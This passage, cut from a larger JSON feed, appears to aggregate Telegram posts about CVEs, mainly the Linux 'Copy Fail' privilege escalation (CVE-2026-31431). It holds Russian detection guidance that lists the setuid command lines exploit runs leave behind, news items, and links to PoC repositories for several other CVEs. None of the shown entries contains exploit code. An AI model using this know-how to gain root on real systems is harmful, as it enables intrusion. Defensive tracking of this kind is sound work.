\u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438.  \n\n\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0438 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 shell. \n\n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c:\n\n\u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u043a\u0435\u0442\u0430 AF_ALG (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 API \u044f\u0434\u0440\u0430 Linux) \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \n\u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 splice(), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u0439\u043f \u0438\u043b\u0438 \u0438\u0437 \u0441\u043e\u043a\u0435\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b) \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430.\n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.", "creation_timestamp": "2026-07-26T00:00:40.939395Z"}, {"uuid": "a8e0c173-9739-461f-8044-ee0f7bd38a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/ZerodayAlert/679", "content": "\ud83d\ude1e10 \u0441\u0442\u0440\u043e\u043a Python \u2192 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux \u0441 2017 \u0433\u043e\u0434\u0430. \u0412\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 Copy Fail\n\n\u0412 Linux \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy Fail, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0434\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0434\u043e root-\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0447\u0435\u0440\u0435\u0437 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2026-31431 \u0438 \u0443\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u043f\u0430\u0442\u0447\u0430\u043c\u0438 \u0432 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u044f\u0434\u0440\u043e Linux \u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, CI/CD-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0433\u0434\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: Python-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0435\u0433\u043e \u043d\u0430 10 \u0441\u0442\u0440\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e Copy Fail \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043f\u043e\u0441\u043b\u0435 RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 SSH \u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0443\u0442\u0451\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. Debian, Ubuntu, SUSE \u0438 Red Hat \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#Linux #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n@SecLabNews", "creation_timestamp": "2026-07-26T00:00:37.001378Z"}, {"uuid": "221bcd8f-20dd-4367-84bf-324ce2ec0b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95066", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a LeoxSoft\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 06:54:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\ude80 CVE-2026-31431 - Linux Kernel AF_ALG + splice() Privilege Escalation Exploit (Zero-Day \u2192 Root Persistence)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-26T00:00:46.504034Z"}, {"uuid": "d3c40492-36c8-4533-aea9-687206e48379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/cyberwarehouse/1118", "content": "CVE-2026-31431 a/k/a CopyFail\n\n> Linux LPE\n> Description sounds like AI slop\n> Exploit is legit\n> Impacts every Linux kernel from 2017 - Now\n> Proof-of-concept released\n> It's Wednesday?\n\nhttps://copy.fail/", "creation_timestamp": "2026-07-26T02:00:06.056215Z"}, {"uuid": "2309819f-c4c8-4e26-989e-65ab42982c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/EchelonEyes/4556", "content": "\u0412 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy-Fail, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e root \u0432 \u044f\u0434\u0440\u0435 Linux \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 CVE-2026-31431, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043a\u0430\u043a Copy-Fail. \u041e\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 algif_aead, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c AF_ALG. \n\n\u0421\u0431\u043e\u0439 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 user space \u0438 \u044f\u0434\u0440\u043e\u043c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430\u043c, \u043e\u0448\u0438\u0431\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f page cache \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e Copy-Fail \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u044f\u0437\u043a\u0443 AF_ALG \u0438 splice().\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0432 \u0432\u0435\u0442\u043a\u0430\u0445, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0432\u0448\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0435\u0435\u0441\u044f \u0435\u0449\u0451 \u0432 2017 \u0433\u043e\u0434\u0443. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0434 \u0440\u0438\u0441\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e mainstream-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u044f\u0434\u0440\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b.\n\n\u0412 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445 CVE-2026-31431 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0445\u043e\u0441\u0442\u043e\u043c.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 Debian 13.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0440\u0430\u0437\u0443, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u2013 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 AF_ALG-\u0441\u043e\u043a\u0435\u0442\u043e\u0432, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0447\u0435\u0440\u0435\u0437 seccomp. \n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://eyes.etecs.ru/r/c7b005 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "creation_timestamp": "2026-07-26T02:00:24.674353Z"}, {"uuid": "3f25ad4c-3736-46c6-9ce1-7ac28c8dd5c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31900", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17110", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, based on the latest observed activity.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31900\n\ud83c\udfaf GitHub Action (Black) \u2013 Arbitrary Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Batosay1337Lab/CVE-2026-31900\n\n\ud83e\udde0 Overview\nA vulnerability in GitHub Actions using the Black formatter allows attackers to inject malicious repository references via pyproject.toml, leading to arbitrary code execution in CI environments.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary code execution in CI/CD\n\u2022 Secret leakage risk\n\u2022 Supply chain attack vector\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-29598\n\ud83c\udfaf Acora CMS \u2013 Stored XSS\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/padayali-JD/CVE-2026-29598\n\n\ud83e\udde0 Overview\nMultiple stored XSS vulnerabilities allow attackers to inject malicious scripts via user input fields such as first and last name.\n\n\u2699\ufe0f Impact\n\u2022 Stored XSS\n\u2022 Session hijacking\n\u2022 Persistent client-side attacks\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-22200\n\ud83c\udfaf osTicket \u2013 Arbitrary File Read via PDF Export\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/Remnant-DB/CVE-2026-22200\n\n\ud83e\udde0 Overview\nA vulnerability in osTicket allows attackers to embed crafted HTML into tickets, which leads to arbitrary file read when exporting to PDF.\n\n\u2699\ufe0f Impact\n\u2022 Sensitive file disclosure\n\u2022 Server-side data leakage\n\u2022 Unauthorized file access\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21710\n\ud83c\udfaf Node.js HTTP Server \u2013 Potential Exploitation Path\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/dajneem23/CVE-2026-21710\n\n\ud83e\udde0 Overview\nA vulnerability affecting Node.js HTTP servers may allow exploitation depending on server configuration and request handling logic.\n\n\u2699\ufe0f Impact\n\u2022 Server-side exploitation\n\u2022 Application instability\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5252\n\ud83c\udfaf Admin Panel \u2013 Cross-Site Scripting (XSS)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/aydin5245/CVE-2026-5252-CVE-POC-ivanti\n\n\ud83e\udde0 Overview\nA reflected XSS vulnerability allows attackers to execute arbitrary JavaScript through crafted requests targeting message endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Cross-site scripting\n\u2022 Session hijacking\n\u2022 Client-side exploitation\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Real-world PoC validation\n\u2022 CI/CD attack surface analysis\n\u2022 Web vulnerability exploitation patterns\n\u2022 Threat intelligence tracking\n\n\u26a0\ufe0f Important Note\nRecent GitHub trends show increasing risks:\n\u2022 Fake CVE advisories and malicious PoC distribution campaigns targeting developers\n\ud83d\udc49 Always verify PoC code before execution.\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:05.396786Z"}, {"uuid": "67004de2-383e-408e-875d-75f2c19ae89d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31854", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17105", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, carefully filtered to avoid duplicates and previously shared entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-35102\n\ud83c\udfaf TYPO3 CMS \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/secf00tprint/CVE-2026-35102\n\n\ud83e\udde0 Overview\nA vulnerability in TYPO3 CMS allows attackers to execute arbitrary code due to improper input validation in backend modules.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CMS compromise\n\u2022 Privileged access escalation\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-34419\n\ud83c\udfaf Atlassian Confluence \u2013 OGNL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4tyam/CVE-2026-34419\n\n\ud83e\udde0 Overview\nAn OGNL injection vulnerability allows attackers to execute arbitrary expressions, potentially leading to remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Enterprise system 